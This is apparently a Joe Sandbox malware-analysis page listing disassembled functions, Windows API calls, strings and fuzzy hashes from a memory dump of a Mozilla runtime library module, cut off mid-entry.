Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 1c0b6cf132bb6c11bfecfcda3612a04fa8efc668e9bd7bf18efc594e13d897e7
Instruction ID: b180765b5dfa624b683ca112c556229e082bda73c61af34a03e7d573f14b155e
Opcode Fuzzy Hash: 1c0b6cf132bb6c11bfecfcda3612a04fa8efc668e9bd7bf18efc594e13d897e7
Instruction Fuzzy Hash: D8314FB1A003159FDB14DF799C44AABBBF8EF88614F158829E95AD7700E734E804CBA4

Function 6C5D5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C5EDCA0,?,?,?,6C5AE8B5,00000000), ref: 6C5D5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5AE8B5,00000000), ref: 6C5D5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C5AE8B5,00000000), ref: 6C5D5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C5AE8B5,00000000), ref: 6C5D5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5AE8B5,00000000), ref: 6C5D5FD6

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 08e2be5d04b8440ae545af1739d0c7ec9543df1a0eb202351d5d74ba5d14861c
Instruction ID: 8ce95a104866d84c7c3b386a39a04c4681fee525188f2f13ae0b1b81c76a5bd6
Opcode Fuzzy Hash: 08e2be5d04b8440ae545af1739d0c7ec9543df1a0eb202351d5d74ba5d14861c
Instruction Fuzzy Hash: BC3158B4300601CFD714CF29C888A2AB7F9FF89319BA54958E5668BB95C731EC41CB95

Function 6C57B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C57B532
moz_xmalloc.MOZGLUE(?), ref: 6C57B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C57B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C57B57E
free.MOZGLUE(00000000), ref: 6C57B58F

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: b767585b3223625a27f11c3e75869b51404e9af7b28cf880cbf08f58da0c037d
Instruction ID: df669ac18334b20c291982c862f3c70cc19585ba3bdd55007bbe48b57ed24458
Opcode Fuzzy Hash: b767585b3223625a27f11c3e75869b51404e9af7b28cf880cbf08f58da0c037d
Instruction Fuzzy Hash: D621F671A002059BDB10DF68DC40BAABBB9FF85304F284129E918DB342F736DD51C7A1

Function 6C57B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C57B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C57B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C57B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C57B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C57B849

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 003edf2e640ab009003f0fa0858be2bec5ad966bf131dfd095f9e566e7566a14
Instruction ID: 3e365145ce2f295cbc3eac482ffe9e7b119ec13982f6309e78092055c59ca818
Opcode Fuzzy Hash: 003edf2e640ab009003f0fa0858be2bec5ad966bf131dfd095f9e566e7566a14
Instruction Fuzzy Hash: 44212EB0E002099FDF14DFA9D8855FEBBB8EF49314F148169EC15A7341E731A985CBA1

Function 6C5D6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C5D6E78

Part of subcall function 6C5D6A10: InitializeCriticalSection.KERNEL32(6C5FF618), ref: 6C5D6A68
Part of subcall function 6C5D6A10: GetCurrentProcess.KERNEL32 ref: 6C5D6A7D
Part of subcall function 6C5D6A10: GetCurrentProcess.KERNEL32 ref: 6C5D6AA1
Part of subcall function 6C5D6A10: EnterCriticalSection.KERNEL32(6C5FF618), ref: 6C5D6AAE
Part of subcall function 6C5D6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C5D6AE1
Part of subcall function 6C5D6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C5D6B15
Part of subcall function 6C5D6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C5D6B65
Part of subcall function 6C5D6A10: LeaveCriticalSection.KERNEL32(6C5FF618,?,?), ref: 6C5D6B83

MozFormatCodeAddress.MOZGLUE ref: 6C5D6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C5D6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C5D6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C5D6EFF

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 2c3fc69f9c81589e414962229269b0e768c582d8b7d1ad7821c6a83fea217964
Instruction ID: deeab55e95f55b549b9466c20226859c3d9fc73bd68d98024dff7561511e257e
Opcode Fuzzy Hash: 2c3fc69f9c81589e414962229269b0e768c582d8b7d1ad7821c6a83fea217964
Instruction Fuzzy Hash: 8821B071A0431A9FDB04DF69EC8469A77F8EF88308F054439E80997240EB74AA498F96

Function 6C5B0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C573DEF), ref: 6C5B0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C573DEF), ref: 6C5B0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C573DEF), ref: 6C5B0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C5B0D97, 6C5B0DBE
<jemalloc>, xrefs: 6C5B0D92, 6C5B0DB9

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 5d71181bdcd1e0fa3171c52163ac1b6ff08bc5a29b88f8b404e86c7714ed3231
Instruction ID: 77a186a0d35ad37c4a8c583cb844eb4ead526235436610807dcfc3f3024057ac
Opcode Fuzzy Hash: 5d71181bdcd1e0fa3171c52163ac1b6ff08bc5a29b88f8b404e86c7714ed3231
Instruction Fuzzy Hash: 74F0E0B13C079867E61821651F15B672D9D67C1B14F344137F225FADC0DB70E4014EA8

Function 6C5D5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C5D586C
CloseHandle.KERNEL32 ref: 6C5D5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5D5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5D58C9
free.MOZGLUE(00000000), ref: 6C5D58D3

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: d34d35a2096765632c793c7740c6361328c830349eb8302564643b4161503f8d
Instruction ID: 2e4b57dbf068cb58883b0e8c233423222767e102c3937adbebf2a199b0bd2c0f
Opcode Fuzzy Hash: d34d35a2096765632c793c7740c6361328c830349eb8302564643b4161503f8d
Instruction Fuzzy Hash: 510121B1704201ABDB0ADF19FC08A067BF8EB833157674275D535D2A51D731A815CF8D

Function 6C5C7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5C75C4,?), ref: 6C5C762B

Part of subcall function 6C58CA10: malloc.MOZGLUE(?), ref: 6C58CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5C74D7,6C5D15FC,?,?,?), ref: 6C5C7644
GetCurrentThreadId.KERNEL32 ref: 6C5C765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5C74D7,6C5D15FC,?,?,?), ref: 6C5C7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5C74D7,6C5D15FC,?,?,?), ref: 6C5C7677

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: c0fc5dec357094ca992c68664ee527304345a5f7b3459447aea4176c8b175359
Instruction ID: 3cd2b2d69e5a18fe673f3ede6425b694d9fe9062e180aa745dad045a04d16b6f
Opcode Fuzzy Hash: c0fc5dec357094ca992c68664ee527304345a5f7b3459447aea4176c8b175359
Instruction Fuzzy Hash: D1F0C275E10746EBD700AF21DC88676B778FFEA259F124316FA0583601E7B1A5D08BD1

Function 6C5D1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5D1800

Part of subcall function 6C5ACBE8: GetCurrentProcess.KERNEL32(?,6C5731A7), ref: 6C5ACBF1
Part of subcall function 6C5ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5731A7), ref: 6C5ACBFA

Part of subcall function 6C574290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5B3EBD,6C5B3EBD,00000000), ref: 6C5742A9

Strings

Details, xrefs: 6C5D1925
{marker.name} - {marker.data.name}, xrefs: 6C5D18C7
name, xrefs: 6C5D1939

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: eb9f83dc0f0c0440fb46f3a19b22164406564f7829981d78e87b23aea10ba2c1
Instruction ID: 6110ee177ecc33266e1768c0dd182e2617d138e3e8edb00842832e48653a9735
Opcode Fuzzy Hash: eb9f83dc0f0c0440fb46f3a19b22164406564f7829981d78e87b23aea10ba2c1
Instruction Fuzzy Hash: BD71E470A0034ADFC708DF68D85469ABBB1FF85314F414669D8158BB41DB70BAA9CFE1

Function 6C59D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C5ACBE8: GetCurrentProcess.KERNEL32(?,6C5731A7), ref: 6C5ACBF1
Part of subcall function 6C5ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5731A7), ref: 6C5ACBFA

EnterCriticalSection.KERNEL32(6C5FE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5AD1C5), ref: 6C59D4F2
LeaveCriticalSection.KERNEL32(6C5FE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5AD1C5), ref: 6C59D50B

Part of subcall function 6C57CFE0: EnterCriticalSection.KERNEL32(6C5FE784), ref: 6C57CFF6
Part of subcall function 6C57CFE0: LeaveCriticalSection.KERNEL32(6C5FE784), ref: 6C57D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5AD1C5), ref: 6C59D52E
EnterCriticalSection.KERNEL32(6C5FE7DC), ref: 6C59D690
LeaveCriticalSection.KERNEL32(6C5FE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5AD1C5), ref: 6C59D751

Strings

MOZ_CRASH(), xrefs: 6C59D4BB

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 2fe1467eb94d7262f8ea711518de5a24f3774409b9ec1eafa1f78534ea3c23b3
Instruction ID: 43a9bd374fdc34484ae71e59cd03846c112e4d9070ade51346e29a4185190e0b
Opcode Fuzzy Hash: 2fe1467eb94d7262f8ea711518de5a24f3774409b9ec1eafa1f78534ea3c23b3
Instruction Fuzzy Hash: BC510171A047858FD718CF28C89071AB7E2EB89304F658A2ED6A9C7F85D771E801CF91

Function 6C5C4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5C4721

Strings

., xrefs: 6C5C476A
profiler-paused, xrefs: 6C5C46E4
-%llu, xrefs: 6C5C4733

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 4c1237a1bd7f8885b1a547bab123dde56b5528baf1b1ea02a3b23d74cb551788
Instruction ID: e9ed490f9ae77206aa2c744734b0d8b90ae7a4479e3ec0b40a8e08de16a265d9
Opcode Fuzzy Hash: 4c1237a1bd7f8885b1a547bab123dde56b5528baf1b1ea02a3b23d74cb551788
Instruction Fuzzy Hash: 15414571B047089BCB08DFB8EC5156EBBF5AFC9744F10862EE855ABB81EB3098458742

Function 6C5E9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C5E985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C5E987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5E98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5E98D9

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: fa9ecf08857a77abd0410bf6284123a2e07e5d0ec6c3867bb0a7e97945c9a480
Instruction ID: 7b8f0379de00725e37513462565da4b7d9e26d7a5ca92d23eb85b4a2e88b178d
Opcode Fuzzy Hash: fa9ecf08857a77abd0410bf6284123a2e07e5d0ec6c3867bb0a7e97945c9a480
Instruction Fuzzy Hash: 1031F671A0010CABDB14AF99DC445EE77E9DF89314F40402DEA1A9BB40DB316D06CBE1

Function 6C5C46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5C4721

Part of subcall function 6C574410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C5B3EBD,00000017,?,00000000,?,6C5B3EBD,?,?,6C5742D2), ref: 6C574444

Strings

., xrefs: 6C5C476A
profiler-paused, xrefs: 6C5C46E4
-%llu, xrefs: 6C5C4733

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: b5fcff4c33aa0124dfa8580c215780cf9a17a96751789fd4658f35219ba922ba
Instruction ID: 3e48d21b82f15732f8f8d8e5e07cb8d8a64b1364935358e191dfabac2425172f
Opcode Fuzzy Hash: b5fcff4c33aa0124dfa8580c215780cf9a17a96751789fd4658f35219ba922ba
Instruction Fuzzy Hash: E0312A71F042089BCB0CDFADDC816AD7BE6DB88314F15453DE8059B741EB7098058B91

Function 6C5CB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C574290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5B3EBD,6C5B3EBD,00000000), ref: 6C5742A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5CB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5CB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C5CB4E4

Strings

pid:, xrefs: 6C5CB4DE

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 41f5015cd2426320d6ffd08633a9c956973d130fab6cd1899a20af6683a4883c
Instruction ID: 3b4bc07d6bf08ffa2e8cbcfc54461992bbb3b1207957b30994b971c890e0711c
Opcode Fuzzy Hash: 41f5015cd2426320d6ffd08633a9c956973d130fab6cd1899a20af6683a4883c
Instruction Fuzzy Hash: B231E231B05208DBDB10EFE9DC80AAEB7B6FF45318F54052DD811A7A41E735A949CBE2

Function 6C58BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C5D7A3F), ref: 6C58BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C5D7A3F), ref: 6C58BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C5D7A3F), ref: 6C58BF7E

Strings

^l, xrefs: 6C58BF84

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: ^l
API String ID: 4279176481-4097940157
Opcode ID: cebbf71740c2768f30a0b7d6a6c6fe302e370915d46c64bc5f218b22a23eb5a6
Instruction ID: 60c366f57233ee9caffa825b4dabe58e983c058252dd498c2271720f297b4d4f
Opcode Fuzzy Hash: cebbf71740c2768f30a0b7d6a6c6fe302e370915d46c64bc5f218b22a23eb5a6
Instruction Fuzzy Hash: 4811BDB9210604CFC729CF08D999A26FBF8FB5D304315885DE98A8BB55C771A800CF95

Function 6C5BE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5BE577
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BE584
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5BE8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5BE826, 6C5BE850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5BE655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5BE722, 6C5BE750, 6C5BE7A2
MOZ_PROFILER_STARTUP, xrefs: 6C5BE5A1, 6C5BE5CC, 6C5BE5FF, 6C5BE62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5BE777

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: f1d0761667dab8e615c6e3e28e507e115283cc1715e90907535089d38094bb9c
